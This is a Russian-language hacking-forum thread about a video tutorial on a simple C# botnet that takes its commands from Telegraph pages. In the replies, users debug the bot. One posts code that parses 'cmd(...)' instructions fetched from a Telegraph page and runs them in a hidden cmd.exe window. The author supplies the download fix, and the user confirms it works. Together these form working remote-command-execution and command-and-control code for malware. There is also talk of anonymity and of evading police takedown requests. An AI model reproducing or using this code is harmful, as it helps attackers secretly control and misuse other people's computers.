• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Решено Простой BotNet на c# управляемый через Telegraph

Egolds

Green Team
17.02.2019
20
15
BIT
0
В этом видео я покажу как создать простой ботнет на c#.
Управление ботами будет выполняться через Telegraph.
Что обеспечивает полную анонимность, если верить Павлу Дурову.

 
A

AryaStark

Интересненько) А страницы Телеграф удаляют по запросу органов?)
 
A

abc

ComContent = cmd_cnt[1];
System.IndexOutOfRangeException: "Индекс находился вне границ массива."
 

h4x0r

Member
11.03.2019
11
-11
BIT
0
System.IndexOutOfRangeException: "Индекс находился вне границ массива."

ComContent = cmd_cnt[1];
 
  • Не нравится
Реакции: mrOkey

h4x0r

Member
11.03.2019
11
-11
BIT
0
Еще куча проблем с юникодом, или кодировками хз. У меня в телеграфе написано допустим cmd(ping google.com), функция парсинга возвращает ╘cmd(ping g║ oogle.com) или что-то наподобие
 
  • Не нравится
Реакции: pedro и mrOkey

Egolds

Green Team
17.02.2019
20
15
BIT
0
Еще куча проблем с юникодом, или кодировками хз. У меня в телеграфе написано допустим cmd(ping google.com), функция парсинга возвращает ╘cmd(ping g║ oogle.com) или что-то наподобие
А ты как разделяешь данную строку cmd(ping google.com)? и как её обрабатываешь?
 

h4x0r

Member
11.03.2019
11
-11
BIT
0
C#:
Regex CmdParse = new Regex(@"cmd\((.*?)\)");
CmdArg = CmdParse.Match(Str).Groups[1].Value;

ну и скрыто вызываю консоль передавая туда содержение переменной CmdArg
C#:
internal static void Cmd(string args)
{
        Process.Start(new ProcessStartInfo
        {
            FileName = "cmd",
            Arguments = $"/c {"cd %HOMEPATH% &&" + args }", // тут можно и без cd homepath, просто мне удобнее так ¯\_(ツ)_/¯ 
            WindowStyle = ProcessWindowStyle.Hidden

        }).WaitForExit();
}
 
  • Не нравится
Реакции: pedro и mrOkey

Egolds

Green Team
17.02.2019
20
15
BIT
0
C#:
Regex CmdParse = new Regex(@"cmd\((.*?)\)");
CmdArg = CmdParse.Match(Str).Groups[1].Value;

ну и скрыто вызываю консоль передавая туда содержение переменной CmdArg
C#:
internal static void Cmd(string args)
{
        Process.Start(new ProcessStartInfo
        {
            FileName = "cmd",
            Arguments = $"/c {"cd %HOMEPATH% &&" + args }", // тут можно и без cd homepath, просто мне удобнее так ¯\_(ツ)_/¯
            WindowStyle = ProcessWindowStyle.Hidden

        }).WaitForExit();
}
вопрос, зачем в методе Cmd используешь модификатор доступа internal ?

по поводу выражения, вот сам проверь как работает:
так что скорее, проблема с твоим трафиком, либо у тебя что-то приемом кодировки что-то не так.

На всякий случай попробуй добавить определение кодировки:

C#:
using(WebClient wc = new WebClient())
            {
                wc.Proxy = null;
                wc.Encoding = System.Text.Encoding.UTF8; // <--
   
                return wc.DownloadString(URI);
            }
 
Последнее редактирование:

h4x0r

Member
11.03.2019
11
-11
BIT
0
до обработки какое содержимое ты получаешь после выполнения ф-ции web.GetHTML ?
Конкретно в данный момент такое
System.Net.WebException: "Базовое соединение закрыто: Непредвиденная ошибка при передаче."
вопрос, зачем в методе Cmd используешь модификатор доступа internal ?

по поводу выражения, вот сам проверь как работает:
так что скорее, проблема с твоим трафиком, либо у тебя что-то приемом кодировки что-то не так.

На всякий случай попробуй добавить определение кодировки:

C#:
using(WebClient wc = new WebClient())
            {
                wc.Proxy = null;
                wc.Encoding = System.Text.Encoding.UTF8; // <--
  
                return wc.DownloadString(URI);
            }
Спасибо, так воркает
 
  • Не нравится
  • Нравится
Реакции: mrOkey и Egolds
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!